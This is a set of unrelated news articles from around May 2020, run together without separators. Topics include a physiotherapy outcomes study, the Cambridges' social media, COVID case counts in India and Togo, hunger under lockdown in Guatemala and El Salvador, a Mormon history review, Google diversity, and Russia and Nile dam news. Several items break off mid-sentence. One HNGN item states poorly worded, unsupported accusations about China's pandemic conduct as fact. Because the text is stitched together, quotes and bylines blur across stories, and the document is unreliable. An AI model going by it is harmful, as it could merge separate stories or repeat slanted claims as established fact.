The Australian Physiotherapy Association (APA), the 26,000+ member strong industry body for some of the world's most qualified physiotherapy practitioners, has announced the launch of a national initiative to assess the impact of physiotherapy intervention in the private practice setting.

The study, which is likely to involve thousands of consenting Australian patients includes the collection, aggregation and analysis of de-identified patient reported outcome data collected systematically from the profession nationwide.

This uniquely wide-ranging study of Australia's population, known for its active lifestyle and devotion to sports, could help to shed light on the impact of physiotherapy treatment by utilising existing technology such as Physitrack.

Says Anja Nikolic, APA CEO: "We already know that physiotherapy plays a critical role in improving peoples lives, but we haven't always had access to the evidence to show this. This pilot will enable us to gather the data that we need. Our goal is to highlight to government and other third-party payers the value of physiotherapy to our healthcare system".

Physitrack, an Apple Mobility partner and the leading provider of patient engagement solutions in the Australian physiotherapy market, is pleased that its functionality for outcome data collection will be used as part of the study.

Says Henrik Molin, CEO and co-founder of Physitrack: "This groundbreaking initiative by the APA will generate data sets that will be of interest to researchers and healthcare providers all around the world. The study will most certainly have an impact on the ability to prove the value of the physiotherapy profession to substantiate ongoing funding of services It's an honour to be selected as a key technology partner in this unique study of conditions that affect hundreds of million of people around the world, and that costs society hundreds of billion each year."

View source version on businesswire.com: https://www.businesswire.com/news/home/20200521005018/en/

Contacts:

For more information, contact:

Australian Physiotherapy Association

Julie Dwyer

Julie.dwyer@australian.physio



Physitrack Limited

Frank van Zon, Partner

press@physitrack.com
Eagle-eyed royal fans have observed that Prince William and Kate Middleton have made quite a remarkable change to their Twitter and Instagram handles.

The Duke and Duchess of Cambridge have altered the display name on their social media accounts over five years following the creation of their Kensington Royal handle.

Prince William, 37, and Middleton, 38, have made the display name more personal by changing them to the Duke and Duchess of Cambridge.

Royal fans worldwide have lauded their meaningful decision, commenting that it feels more "personal" and "appropriate."

The Cambridges' Instagram account over the last couple of months has featured inside looks at their daily routines and more personal messages. The change was said to have proved that Prince William and are taking social media seriously to express their royal roles.

Royal admirers took notice of the move earlier this week, even though it was unclear when exactly the online move was made.

According to a Twitter user, it "comes across as more personal." A second fan praised the royals for "doing phenomenal on social media" as of late.

Although the royal couple's name now reads "Duke and Duchess of Cambridge," the handle for Twitter and Instagram still remains @kensingtonroyal.

It was reported last month that Prince William and Middleton had hired Prince Harry and Meghan Markle's social media staffer after the former royals officially renounced their membership as senior members of the British royal family.

It was suggested that the discreet and subtle change poses a deeper meaning after news of the display name change emerged.

Also Read: Love At First Sight? Prince Harry Says He Knew Meghan Markle Was "The One" at First Meeting

The very Instagram account was also wherein the Duke and Duchess of Sussex were also aligned with before launching their own account, Sussex Royal.

It was said that it does not seem like a remarkable change in the grand scheme of things, but it is unexpected considering how rigid and direct is the approach of the royal communications teams.

Their new profile photo, a family photograph, was said to be a pleasant change to their social media accounts.

On their Twitter and Instagram pages, the image on display was altered to an image of the duke and duchess and their children, Prince George, Prince Louis, and Princess Charlotte.

The photo was a still taken from their family's recent video made for the "Clap for Carers" campaign.

Prince William, 37, and Middleton, 38, have their official residence in London at Kensington Palace along with their three children, and they also have their royal office at the said location.

It is was also said that the display name change is reflective of their growing prominent roles in the royal family. The @KensingtonRoyal handle was initiated in January 2015 and has proudly reached 11.8million followers.

Other than the Cambridges and Sussexes, royals on social media include Queen Elizabeth II and Prince Philip's updates are shared via @TheRoyalFamily.

Related Article: Meghan Markle Allegedly a Flirt as She 'Toyed' With Men's Feelings

@ 2022 HNGN, All rights reserved. Do not reproduce without permission.
New Delhi: The Delhi High Court on Friday (May 22, 2020) directed the Centre and Delhi governments to keep a tab on the number of coronavirus COVID-19 cases. The court made the observation while hearing a Public Interest Litigation (PIL) that sought that more private hospitals in Delhi be allowed to treat COVID-19 patients. The plea also sought to allow more pathological laboratories to conduct COVID-19 sampling tests.

The court disposed off the petition saying that it was of the opinion that no interference is warranted in this matter, as of now. However, the court has directed both Centre and Delhi to keep an eye on the numbers and observed thagt if there would be a spike in cases, the number of hospitals and labs be proportionately increased. The matter was being heard by the bench of Justice Hima Kohli and Justice Subramanium Prasad.

The petitioner, while allegedly relying upon media reports, had said in that there were around 10,000 COVID-19 patients in Delhi alone, but there was a lack of hospitals. The petitioner had insisted upon designating more number of private hospitals as COVID Hospitals so that treatment could be assured and it would take off the load from government hospitals and labs.

Advocate Anuj Aggarwal, representing Delhi Government, told the court that the revised guidelines of the Union Ministry of Health and Family Welfare issued on May 10 suggested 'home isolation for very mild/ presymptomatic COVID-19 cases'.

He submits that as per these guidelines only if serious signs or symptoms emerge should the patient be taken to a hospital.

He had also submitted that the guideline directs a minimum of 50-bed isolation ward should be established at state level and a minimum of 10-bed isolation ward should be established at the district level.

It was also submitted to the court that Lok Nayak Jai Prakash Narayan Hospital with 2000 beds and Rajiv Gandhi Suprespeciality Hospital with 500 beds, have been designated as COVID Hospitals. Nine private hospitals have also been designated as COVID Hospitals.
Britain's competition watchdog has launched an investigation into misleading reviews on several big websites amid the surge in online shopping during pandemic lockdown restrictions.

The Competition and Markets Authority said Friday that it will look into how the websites detect, investigate and respond to fake and misleading reviews.

During lockdown, we're more dependent than ever on online shopping, so it's really important that the online reviews we read are genuine opinions, said Andrea Coscelli, the authority's chief executive.

If someone is persuaded to buy something after reading a fake or misleading review, they could end up wasting their money on a product or service that wasn't what they wanted.

The regulator said one of the issues it's examining is suspicious activity such as single users reviewing an unlikely range of products or services. It's also looking at how websites deal with reviews that the reviewer has been paid to review.

The authority didn't disclose which websites it's investigating. It highlighted its previous work with Facebook, Instagram and eBay on the problem. The three sites pledged in January to crack down on the fake review trade removing hundreds of accounts, pages and groups after a warning from the authority.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
By Matthew Mainen

(JNS)U.S. Secretary of State Mike Pompeo is arriving in Israel on Wednesday to meet with Prime Minister Benjamin Netanyahu. His visit presents a perfect opportunity, at a perfect timewith most of the globe preoccupied with the COVID-19 pandemicfor the two to announce that Israel will begin to implement U.S. President Donald Trumps Peace to Prosperity plan and annex parts of the Jewish-inhabited portions of the West Bank.

Though tempers around the world likely will flare, no sane government will shift its focus from managing the coronavirus crisis to inter...
But not necessarily surprising. As we know, underprivileged people are much more likely to contract the virus. And in Britain, people of color have, on average, a lower standard of living than whites. The pandemics disproportionate toll was foreseeable. The government could have predicted, and perhaps prevented, many deaths. It did not.

Take housing. Ethnic minorities are more likely to rent and less likely to live in households where social distancing is possible. Two percent of white British households live in overcrowded conditions; this figure is 30 percent for Bangladeshis.

These groups are also more likely to live in economically deprived urban areas. Newham, the borough with the highest death rate in London, and Birmingham, which has one of the highest death rates in the country, have large ethnic minority populations and above average poverty and pollution. Densely packed into impoverished neighborhoods, many of Britains ethnic minorities are in effect primed to suffer most in this pandemic.

Ethnic minorities are overexposed on the job as well. Not only do they directly deal with the ill  Indian men are 150 percent more likely to work in health or social care than their white counterparts  they are heavily represented in key worker roles dealing directly with the public, in corner shops, the postal service and waste disposal.

Whats more, many work in the parts of the service industry  as hospitality staff, taxi drivers and food workers  that have been worst affected by the lockdown. Black African and black Caribbean men, for example, are 50 percent more likely than white British men to be in shutdown sectors. As the government eases restrictions, some, out of economic necessity, may rush back to work, endangering themselves anew. Others wont even have that opportunity. Inadequately supported by the governments measures, they will suffer financial distress.
Residents of the Las Victorias neighbourhood, most of them informal sellers, wave white flags as a sign asking for food, since the government suspended the movement of people due to the coronavirus disease (COVID-19) outbreak, in Soyapango, El Salvador May 19, 2020. (Victor Pena/Reuters)

As Hunger Spreads Under Lockdown, Guatemalans and Salvadorans Raise White Flag

GUATEMALA CITY/SAN SALVADORStrict coronavirus lockdowns in Guatemala and El Salvador have so battered local economies that hundreds of families are flying white flags outside their homes or waving them in the streetnot in surrender, but to seek food and assistance.

After 50 days of lockdown that has snuffed out their livelihoods, Ana Orellana and three neighbors put up a white flag and a sign asking for food on the graffiti-scrawled concrete boarding house they share in central San Salvador, the capital of El Salvador.

Orellana, a street vendor of coffee, said that since the government ordered people to stay home in March, she has had no income to pay for food or the $75 monthly rent on the room she inhabits alone in the building. Now she takes turns with her neighbors to scavenge throwaway food at a city market.

I go looking through the bins where the rubbish is, the 51-year-old said. I go to the Tiendona market to get stuff, because we really dont have tomatoes or onions now, and we make a tomato stew here without oil, just parboiled.

Alongside the white flag is a misspelled sign over a boarded-up window saying, We were not beneficiaries to signal they did not receive a $300 voucher issued in March by President Nayib Bukele to 1.5 million poor families, about three-quarters of the population.

The bleak outlook for Orellana and her companions extends deep into Central America and much of Latin America, where the pandemic threatens to worsen chronic poverty among the millions of people who live hand-to-mouth.

Food protests have broken out in countries including Venezuela and Chile. El Salvador and neighboring Guatemala, two of the poorest countries in the Americas, have borne some of the strictest quarantine measures.

In towns and villages across the two countries, hundreds of signs have gone up asking for food, and people have taken to the streets to wave white flags in distress.

Food parcels from the national government and donations from ordinary people have helped to alleviate some of the want, but resources are stretched.

Were worried about the virus and food, because if the virus doesnt kill us, hunger will, said Jose Rodriguez, 69, a street vendor who lives in another San Salvador boarding house with 100 other people. We desperately need things to eat.

Guatemalas government says it has delivered nearly 190,000 food boxes to over 1.2 million people, about 7 percent of the population. In El Salvador, security forces began handing out 1.7 million bags of food to the poor on May 17.

Color Coding

After Guatemalas government erected the first sanitary cordon around the impoverished municipality of Patzun on April 5 to contain the virus, hundreds of cut-off residents began putting up rags and white cloths in a call for help.

Pictures of the houses festooned with white signs began to circulate on social media, and the phenomenon soon spread to other parts of Guatemala, and eventually, El Salvador.

Micaela Ventura, a 24-year-old shoe seller in Guatemala City, started using a flag about six weeks ago.

We put it out because we need food, she said, because we have nothing to give our children, and cant pay for our room.

A color-coding system has developed in Guatemala. Red flags indicate medicines are needed, black alert the police to violence, and yellow ones to attacks on children.

Guatemala has reported 45 deaths and 2,265 infections from the virus, while El Salvador has confirmed 32 fatalities and 1,640 cases. Neighboring Honduras, where the poor have also gone out to beg for food, has registered 3,100 cases and 151 deaths.

Maria Jauria, a 21-year-old housewife and mother of two living in the central Guatemalan department of Chimaltenango, said there was so little work that her bricklayer husband has had to start selling the very things he needs for his job.

Weve been going out with the white flags for a month, and yes, some people have helped us out with food, she said. But the truth is, my husband has been selling his tools so we have something to eat.

By Sofia Menchu & Nelson Renteria
Source: Xinhua| 2020-05-22 12:01:44|Editor: huaxia

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NEW DELHI, May 22 (Xinhua) -- India's federal health ministry said Friday morning that 148 new deaths due to COVID-19, besides fresh 6,088 positive cases, were reported since Thursday in the country, taking the number of deaths to 3,583 and total cases to 118,447.

This is the highest one-day spike in COVID-19 cases so far in the country, showed the data.

On Thursday morning, the number of COVID-19 cases in the country was 112,359, and the death toll was 3,435.

According to ministry officials, 48,534 people have been discharged from hospitals after showing improvement, and the number of active cases in the country right now stands at 66,330.

Friday marks the 59th straight day of the ongoing lockdown across the country announced by the government to contain the spread of the pandemic.

The lockdown, announced on March 25, was again extended last week till May 31. Enditem
New Delhi:

Prime Minister Narendra Modi on Monday promised Centres total support to five flood-hit states in rescue and relief operations. He said Home Minister Rajnath Singh is closely monitoring the situation and has spoken to chief ministers of UP, Bihar, Uttarakhand, Rajasthan and Madhya Pradesh to take stock of the situation.



Centre assures total support in the rescue & relief operations. I hope the situation in the affected areas normalises at the earliest, he said in a tweet. HM @rajnathsinghji is closely monitoring the situation. He has spoken to the CMs & taken stock of rescue & relief operations, he said.



I pray for the safety & wellbeing of those in areas affected by floods in parts UP, Bihar, Uttarakhand, Rajasthan & MP: PM @narendramodi, he said.

The Ganga yesterday crossed the danger mark in West Bengal, Bihar and neighbouring districts of Uttar Pradesh where Yamuna river is also in spate, while heavy rainfall has created a flood-like situation in some parts of Rajasthan where six persons have died so far.



Rajnath speaks to CMs of UP, Uttarakhand, Bihar, Rajasthan

As floods ravaged some parts of the country, Home Minister Rajnath Singh on Monday spoke to chief ministers of four flood-hit statesUttar Pradesh, Uttarakhand, Bihar and Rajasthanand assured all central help in dealing with the disaster.



Singh had a telephonic conversation with chief ministers Akhilesh Yadav ((UP), Harish Rawat (Uttarakhand), Nitish Kumar (Bihar) and Vasundhara Raje (Rajasthan RPT Rajasthan) this morning and took stock of the flood situation in their states.



The chief ministers briefed the Home Minister on the flood situation and the steps taken for rescue and relief of the marooned people.

The chief ministers also told Singh about the operations carried out by the National Disaster Response Force and State Disaster Response Forces in affected areas.



I assured the Chief Ministers of full cooperation from the Centre in the flood mitigation drive launched by the states, an official statement said.



The Ganga had yesterday crossed the danger mark in West Bengal, Bihar and neighbouring districts of Uttar Pradesh where Yamuna river is also in spate, while heavy rainfall has created a flood-like situation in some parts of Rajasthan where six persons have died so far.

For all the Latest India News, Download News Nation Android and iOS Mobile Apps.
Lome, Togo (PANA) - Togo recorded 14 new cases of coronavirus (COVID-19) infection Thursday, taking the total number to 354, the ministry of Health told PANA here
The Mississippi River town of Nauvoo, Illinois, sits about 150 miles northwest of St. Louis, near the spot where Missouri and Iowa meet. With a population of about 1,100, its pretty quiet most of the year.

But in the summers, a steady stream of visitors to its main attraction is a reminder of the few years in the middle of the 19th century when it was a controversial focus of American religious life as the headquarters of the Mormon Church.

After the killing of the churchs leader, Joseph Smith, the Mormons headed west, ending up in their longtime Utah home. In Kingdom of Nauvoo, historian Benjamin E. Park takes advantage of information kept secret in church records for 150 years and insightfully re-creates the story of their Midwestern sojourn and its place in American history.

Nauvoo was the crucible of the Mormon experience  the episode that saw their prophet murdered and their dreams of a religious empire dashed, Park writes. If the Mormons are poorly understood by most Americans, Nauvoo is virtually unknown. To Mormons it remains an important site. ...

Rather than an exceptional episode, then, Nauvoo embodied many of the contradictions and tensions of its time. Its story reveals not only the radicalism of the early Mormons, but also the tenuousness of the American experiment.

Members of the Church of Jesus Christ of Latter-day Saints came to Nauvoo in 1839, after being attacked by a mob in Independence, Missouri, in an episode that foreshadowed what was to come in Illinois. At its peak, Park notes, the town grew larger than Chicago, and its residents were fervent followers of their prophet. Smith once bragged that he could raise a militia of three thousand men at a moments notice.

But such an imperial attitude, in the still-unsettled democracy of the young United States, helped lead to the settlements downfall as Smith and his circle overstepped in two areas: politics and polygamy.

Far from being merely a religion, Mormonism was viewed by its founders as a righteous way to live, what Park calls an urban Zion. Smith worked to deliver a strong voting bloc to politicians who could help bring to life his vision of a theocracy that blurred the constitutional line between church and state, if not erasing it altogether.

There was nothing new in the combining of religious belief with political action, of course, Park writes, but what the Mormons did was to blend ecclesiastical authority and political mobilization.

Such activism hardly endeared the Mormons to their neighbors. But what may have decisively destroyed any notions of goodwill was the growing practice of polygamy, what Smith and his adherents termed sealing women to men, far more than just one at a time.

Join our Facebook discussion about books and book clubs We want to know what your book club is reading. Join the discussion on Facebook in our St. Louis "Book"-Dispatch group.

Those who practiced and preached polygamy insisted that they were performing acts that simply accomplished what the state should be doing but was not.

The eventual product of Smiths theorizing on polygamy was not a superficial endorsement for extramarital sex, Park writes, but a vision of a multilayered patriarchal hierarchy that governed the cosmos.

That new order, he adds, was designed to succeed where secular institutions have failed.

How could American society take care of the never-married, the widowed, and destitute? Park explains. Federal and state government refused to take responsibility, and charitable efforts were often haphazard. Religious groups moved to bridge the gap. For Mormons, given their history, the threat from the mainstream seemed ever-present.

Smith tried to keep such sealings secret. But opponents of the practice, including Smiths first wife, Emma, dismissed such rationales, and as the backlash grew, Smith dug in his heels rather than try to move toward any sort of accommodation. It was Independence all over again.

When a breakaway group distributed a newspaper, the Nauvoo Expositor, in 1844, disclosing firsthand accounts of polygamous relationships, Smith led an effort to shut down the publication. Tensions grew, Smith was arrested and on June 27, he succumbed to a mob that stormed the jail. The Mormons stay in Nauvoo did not survive the conflict.

Smiths successor, Brigham Young, led remaining followers to Utah, leaving behind few reminders of the short-lived kingdom that Smith had controlled. But years later, the temple he built was restored on a river bluff, and in summer it draws crowds for historic pageants and events that have led to Nauvoo being dubbed by some the Mormon Williamsburg.

In the end, the excesses of Smith and his followers were too much for the region, the state and the country to allow. Their politics and polygamy were too far out of the American mainstream, and Smiths attitudes teach a lesson that resonates today. Park, who teaches history at Sam Houston State University in Huntsville, Texas, relates the history in a clear, engaging way, and he frames the lessons of the Kingdom of Nauvoo this way:

Modern Americans often pride themselves on their peaceful democracy and successful  or, at least, grudging but nonviolent  incorporation of divergent cultures into the national fabric. Yet the climax of Mormonisms fraught relationship with the state of Illinois reveals the boundaries of acceptance and inclusion. It also highlighted the limits of American democracy.

Dale Singer retired in 2017 after a 45-year career in journalism in the St. Louis area. He lives in west St. Louis County.
Amid reports that Google has reduced diversity and inclusion training programmes fearing conservative backlash, the company's Chief Executive Officer, Sundar Pichai, has denied any digression from the company's commitment to promoting diversity within the organisation.

In an interview to The Verge, Pichai said the company probably has more resources invested in diversity now than ever.

"Diversity is a foundational value for us. Given the scale at which we build products and the fact we do it locally for our users, we are deeply committed to having that representation in our workforce," Pichai was quoted as saying.

Pichai's response came after NBC News, citing former and current Google employees, last week reported that one well-liked diversity training programme at the company, called Sojourn, was cut entirely.

The report also said that Google has reduced internal diversity and inclusion training programmes since 2018.

Google denied the allegation that it has scaled back inclusion and diversity efforts.

But the report led 10 US lawmakers to send a letter to Pichai this week demanding answers to several questions, including why previous diversity programmes were scaled back or cut entirely, what type of diversity initiative is offered to new hires, how Google plans to address lack of diversity and inclusion at the company and whether employees working on Artificial Intelligence undergo additional bias training.

"It is troublesome to hear that Google, an industry leader, plans to scale back efforts to address their lack of diversity when you have previously stated a corporate commitment to improve in this very area," the House Democrats said in the letter on Monday.

"In 2019, according to Google's own diversity report, only 3.3 per cent of your workforce identifies as Black, 5.7 per cent are Latins, .08 per cent are Native American, and 31.6 per cent are women. In order to promote effective and inclusive economic practices, Google's workforce should reflect the racial diversity of America," wrote the lawmakers who are members of the House Tech Accountability Caucus.

However, conservative politicians have accused US tech giants of being biased against conservative viewpoints.

Google was even threatened with penalties for allegedly making "anti-conservative" moderation decisions on platforms like YouTube, The Verge reported.
Some of Leitrims most innovative and entrepreneurial students will be eagerly logging online next week for the National Final of the Student Enterprise Programme.

For the first time since the programme began in 2003, the National Finals will take place online and the region will have three student enterprises involved on behalf of Local Enterprise Office Leitrim

Cable Chompers, Book Worms and Spikey Stoppers from St Clares Comprehensive, Manorhamilton will represent Leitrim in the Junior, Intermediate and Senior Categories respectively.

Joe Lowe, LEO, Cllr Finola Armstrong McGuire , Lar Power, CE, Luchia Smyth, Sophie Brady from Cable Chompers with teacher Claire Gallagher, St Clare's Comprehensive, Manorhamilton

Having originally been scheduled to take place in Croke Park on May 1, the Local Enterprise Office run awards, will be announced virtually on Wednesday, May 27 via live stream on the Student Enterprise Programmes Facebook and YouTube channels.

Leitrim has a proud tradition on the Student Entrepreneur Programme through Local Enterprise Office Leitrim. The students and teachers from across the country will watch the event online which is hosted by RTEs Rick OShea. He will be joined during the ceremony by previous winners and Student Entrepreneur Programme Ambassador, Josh Van Der Flier.

The rugby star previously took part in the initiative when he was a student at Wesley College in Dublin.

The finalists have been announced this year with a record number of 85 student enterprises competing in Irelands largest entrepreneurship programme for second level students. The initiative, funded by the Government of Ireland through Enterprise Ireland and delivered by the 31 Local Enterprise Offices in local authorities throughout the country, saw close to 26,000 students from almost 500 secondary schools across the country take part.

Some of the finalists this year include an alarm that helps wake small children who can sleep through regular high frequency alarms, eco-friendly products such as beeswax film, an alternative to clingfilm, a bottle stopper to help prevent drinks tampering, germination balls that can be thrown on soil to help generate new wildlife, and stress hampers filled with stress relieving products.

The national final will see students competing across three categories, Junior, Intermediate and Senior and judging is ongoing virtually with the finalists nationwide via electronic submissions.

Each student enterprise was challenged with creating, setting up and running their own business, which must show sales of their service or product. The judging panel includes business owners and representatives from enterprise agencies and associated bodies.

This years programme also saw two new pilot competitions across the Junior, Intermediate and Senior categories. The first, the 'My Entrepreneurial Journey' pilot was run in the Junior and Intermediate cycle and open to any students involved in wider competition. It required them to map out the life of a successful entrepreneur and how that could be achieved.

In the Senior category there was a new 'Go Green: Be Sustainable Creative Business Competition'.

In this new pilot competition students could push their most innovative business ideas via a video pitch, without having to produce a product or service and was open to all senior students taking part in the wider competition.

Cllr Finola Armstrong McGuire, Lar Power, Chief Executive Leitrim County Council, Ellie McMorrow and Aine McLoughlin from Book Worms with teacher Claire Gallagher, St Clares Comprehensive, Manorhamilton
Guwahati, May 22 : Two days after her wedding, Assam government nurse Oli Barman rejoined duty to take care of COVID-19 patients in Nalbari district hospital, earning kudos from all quarters in the western region of the state. "Actually I wanted to join duty on Tuesday, a day after my wedding ceremony on Monday, but my friends and family members told me that if I do not perform some rituals related to the marriage ceremony it would be a curse for my future family life," Barman told IANS over the phone from her home at Singimari village.

"If my seniors wanted me to join duty on Monday night immediately after the marriage ceremony, I would have certainly done that. In this crucial situation, service to the patients comes foremost," she added.

Barman said only a few close relatives and friends were invited to the marriage ceremony to maintain the COVID-19 protocols. "Hours before the scheduled marriage day, there was a huge uncertainty and hesitation over the wedding ceremony. Many of our relatives suggested deferring the ceremony, but I decided to go ahead with the plan, otherwise my parents would be depressed and their money would be wasted." Barman said her duty was in the emergency ward of the hospital and during the past two-and-a-half months she could not do any of the planned events for the wedding as the leave of the health staff and workers got cancelled due to the COVID-19 outbreak.

In the western Assam district nine people were found coronavirus positive. Nalbari District Deputy Commissioner Bharat Bhushan Devchoudhury, who also attended the wedding ceremony at Singimari village on Monday, said that Oli is an excellent nurse. "We are deeply proud of her dedication and commitment. Oli never took leave or never refused any task given by her seniors since the COVID-19 outbreak with health services being rendered to a large number of people in the district hospital -- Swahid Mukunda Kakati Civil Hospital. She is a genuine warrior and a hope for us in such a tricky time," Devchoudhury told IANS over phone.

He said that Oli had her "mehendi" on Saturday night after the duty hours and joined the hospital on Sunday morning again. The Deputy Commissioner said that performing her day-shift duty on Sunday, she went home for the "Joran", a traditional Hindu ritual where the women from the bridegroom's family perform some mandatory traditional rituals.

(Sujit Chakraborty can be contacted at sujit.c@ians.in)
In an unprecedented move, China will give two billion to help efforts to curb the pandemic which they may be complicit in, avoiding critical censure as they are the key suspect according to the US.

This amount is more than the contribution of the United States, and the pledge may have curbed any investigation that would have destroyed its already ruined credibility.

Before the WHA meeting China, the US cut off funding to the World Health Organization but China is picking up the tab and could be the ticket to stop criticism for all its activities during the coronavirus crisis.

For the US, especially President Trump and his administration who forced China to reckon what it is has done. But, it will only stall the inevitable that it intentionally hid the outbreak, that caused 5,194,028 sufferings sickness, with 334,613 deaths as of May 22, 2020, from worldometer.

A moment of grace was given by President Trump when he passed the opening words to Xi Jinping, who pleaded his case to 194 members of the World Health Assembly (WHA). The CCP head used video calling to attend the meeting and because of the COVID-19 pandemic, no one is taking a chance of getting infected. Members choose remote conferencing which showed the extent of what the coronavirus has done to world summits.

Xi stated his country's case and other nations that are suffering against the coronavirus, though he chooses to highlight China's success in protecting lives as well. He added that China did not suppress or alter the narrative. Instead, China supported and assisted countries in the pandemic.

Even Italy that China implied as to the possible source of the virus is now off the hook, as Xi's address says that everyone is in it together.

Also read: China Will 'Nuke Bomb' US Companies in Response to Huawei Sanctions

A letter was sent by President Trump last Monday, that accused the WHO of getting too chummy with China and showing no independence. Trump pointed out that director-general Dr. Tedros Adhanom Ghebreyesus and WHO have bungled the response by allegedly acquiescing to the CCP in Beijing which costs too much as the pandemic has impacted everything on the globe.

Parts of the letter sent by the US president elaborated on the misgivings the US has. It included an ultimatum to pull the plug on funding, leave the organization, revoke America's membership permanently, and show that the WHO chooses to be China's PR agency in a month.

Trump was not specific on what reforms would be preferred, but he thumbed the intent and said WHO must do its job, not be tainted any further by associating with Xi and decide independently.

According to the US, it donates $553 million that is part of $6 billion of WHO's total budget. This was stopped recently with China in its operation, plus how it helped China stall revealing the virus and condescend how the country seeded the world.

In the eyes of the United States, the World Health Organization has become a tool for China, and the WHO accepted willingly.

John Ulyot said that the $2 billion is a carrot on a stick to divert nations from China's complicity and refusal to account for it. In short, China is paying its way out.

Related article: Chinese Expansionist Ambitions Dangerous to America, Freedom Loving Countries

@ 2022 HNGN, All rights reserved. Do not reproduce without permission.
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Coffee has won Russias hot-drink Cold War, outpouring tea for the first time in a major shift in traditional values. President Vladimir Putin says the country needs to do better at high-tech to preserve its status as a separate civilization, while an expert calls it a declining power that must be watched warily by the West. And Chechen leader Ramzan Kadyrov is hospitalized as COVID-19 marches on.

Here are some of the key developments in Russia over the past week and some of the takeaways going forward.

Tea Leaves?

When Russians try to forecast the future based on scant information at hand, they read the coffee grounds, not the tea leaves. Aside from that, though, tea has taken precedence over coffee in Russia. Until now.

In the land of the samovar, as Bloomberg called it, the unthinkable has happened: Coffee overtook tea in 2019, according to an industry association that, judging by its name, ought to know. RusTeaCoffee said that Russians drank 180,000 metric tons of whole bean, ground, instant, and coffee mixes, while tea consumption dropped to under 140,000 metric tons, falling behind after the rivals were poured at equal measure  160,000 metric tons  for two years running.

Unthinkable, that is, unless you think back -- to the options on offer in the decades during which tea reigned supreme in the Soviet era. No Starbucks, no Kofe Khaus, no Kofemania or Kofein, no mocha lattes in a cup with your name  or an approximation thereof  scrawled on the side.

Tea  sometimes in colorfully labeled cubes that declared it Georgian or Indian -- was easier to come by and, arguably, harder to ruin. The attraction of a cup of coffee and a cigarette is diminished when its unclear whether the former contains real coffee and the latter tobacco.

Since the communist era, Russians have preferred tea, while coffee was considered an elite drink, Bloomberg quoted RusTeaCoffee chief Ramaz Chanturiya as saying on May 14. Over the last decades, coffee has been growing and finally won, led by the younger generations consumption outside of the home.

In the past decade alone  the third decade since the collapse of the Soviet Union  coffee consumption nearly doubled, state-run TASS cited the association as saying.

In addition to countless coffee chains in a country that once had only a handful of spots like Shokoladnitsa near the statue of Lenin at the start of Lenin Avenue on Moscows October Square, coffee is of course available at mini-marts, supermarkets, and hypermarkets nationwide.

In 2018, 11 years after opening its first Russian branch, U.S.-based Starbucks opened Russias first coffee drive-thru, the English-language Moscow Times reported, in a sleepy suburb that is perhaps a little less sleepy now.

Then And Now

With baristas and all the rest, Russia is in some ways far more like the Soviet Unions Cold War foes than it was nearly 30 years ago  or even 20, or 10.

But in remarks broadcast on state TV on May 17, President Vladimir Putin suggested Russia has some catching up to do in at least one department: high-technology.

Putin often couches expressions of concern in bravado or hides acquiescence behind a show of defiance.

In this case, his argument was that Russia risks losing what he asserted is its status as a distinct civilization if it lags behind the West and the rest. To be less like them, in other words, we need to be more like them  or at least do what they do, as well or better.

Russia is not just a country, its really a separate civilization, Putin said. If we want to preserve this civilization, we should focus on high-level technology and its future development.

These new technologies have appeared and they will change the world -- theyre already changing it, he said in remarks that were recorded in September.

The Moscow Times pointed out that they were aired days after Putin chaired a meeting on genetic technology where the CEO of state oil giant Rosneft  close Putin ally Igor Sechin  asked for a tax exemption for its investments in the field.

American political scientist Joseph Nye, a champion of interdependence in international affairs, suggested that Russias shortcomings in high-technology are among the reasons that the United States should watch Moscow closely.

Risky Russia?

Nye, whose influence helped shape Western thought in the latter stages of the Cold War, also downplayed the notion that Europe might be eager to significantly boost ties to Russia or China at the expense of transatlantic relations.

Russia is a "declining state" due to factors such as a diminished workforce and its failure "to adapt its economy to a modern-technology economy as opposed to an energy-based economy," Nye, a former dean at Harvard University's John F. Kennedy School of Government, told RFE/RL's Balkan Service in an interview on May 11.

A vast country with "talented people" and a nuclear arsenal, Russia cannot be ignored and has to be taken very seriously," Nye said.

"After all, sometimes it is declining countries which are the most dangerous, because they're the most willing to take risks," he said. "So Russia should not fall below the radar.

Oil And Genes

Efforts to reduce Russias reliance on energy exports, or the absence of those efforts, have been a perennial issue throughout Putins 20 years as president or prime minister, with the urgency sharpening when the global financial crisis hit the economy after years of oil-fueled growth during his first two Kremlin terms, in 2000-08.

More than a decade later, that dependence remains, despite much discussion of and Putins repeated calls for a breakthrough.

In early March, Sechin and Deputy Prime Minister Tatyana Golikova signed an agreement between Rosneft and the government to further the accelerated development of genetic technology. Aims include reducing reliance on foreign countries and turning Russia into one of the leaders in the field by 2027.

That was then, this is now.

On March 1, the number of confirmed coronavirus cases in Russia was zero. More than two weeks after that, Putin said the situation was under control and the authorities "have managed to prevent the mass penetration and spread of the illness in Russia."

Today  amid persistent doubts about the accuracy of its official numbers  Russia is second only to the United States in terms of confirmed infections, with more than 325,000, and has recorded more than 3,200 deaths.

Chechnya And COVID-19

The Russian economy has been hit hard, in part because of the continuing reliance on exports of oil at a time when demand has been severely depressed by the virtual shutdown of world travel and the decreased industrial activity.

Some of Putins closest associates have contracted COVID-19. His spokesman, Dmitry Peskov, has been hospitalized since May 12 or earlier, while Prime Minister Mikhail Mishustin was released this week.

And on May 21, Ramzan Kadyrov  the former rebel fighter Putin put in charge of the Chechnya region in 2007  was reportedly flown to Moscow and hospitalized with a suspected coronavirus infection. If Kadyrov is incapacitated for a substantial period of time, it would raise questions about how the Kremlin will manage Chechnya.

Rights activists say that Kadyrov rules through repressive measures and has created a climate of impunity for security forces in the region. They claim Kadyrov is ultimately responsible for abuses of political opponents by Chechen authorities that include kidnappings and forced disappearances, torture, and extrajudicial killings.

Kremlin critics say Moscow turns a blind eye to his conduct because it relies on the former rebel commander to control separatist sentiment and violence in Chechnya, the site of two devastating post-Soviet wars and an Islamist insurgency that spread to other mostly Muslim regions in the North Caucasus.
Three African countries have signalled their readiness to resume negotiations on a controversial dam that will be the continent's largest.

The move by Ethiopia, Egypt and Sudan came after Ethiopian Prime Minister Abiy Ahmed said Thursday his country is ready to return to talks.

We have agreed to continue with technical-level engagements through our water ministers tasked to discuss outstanding issues and arrive at win-win solutions, Abiy said in a Facebook post after speaking to Sudanese Prime Minister Abdalla Hamdok.

Through our discussions, we addressed misunderstood issues."



The USD 4.6 billion Grand Ethiopian Renaissance Dam that Ethiopia is building on the Nile River is meant to provide needed electricity for more than 70 million Ethiopians, but Egypt has raised urgent concerns over the filling of the dam, which is set to begin in the coming weeks.

Egypt asserts that a rapid filling of the dam could reduce its share of water on which it almost entirely relies.

